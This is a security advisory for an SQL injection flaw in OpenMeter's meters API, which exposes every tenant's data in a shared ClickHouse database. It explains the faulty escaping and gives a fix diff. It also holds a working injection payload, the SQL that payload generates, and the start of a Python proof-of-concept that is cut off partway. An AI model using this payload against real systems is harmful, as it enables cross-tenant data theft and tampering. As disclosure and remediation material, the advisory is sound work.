CVE-2026-8462

### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})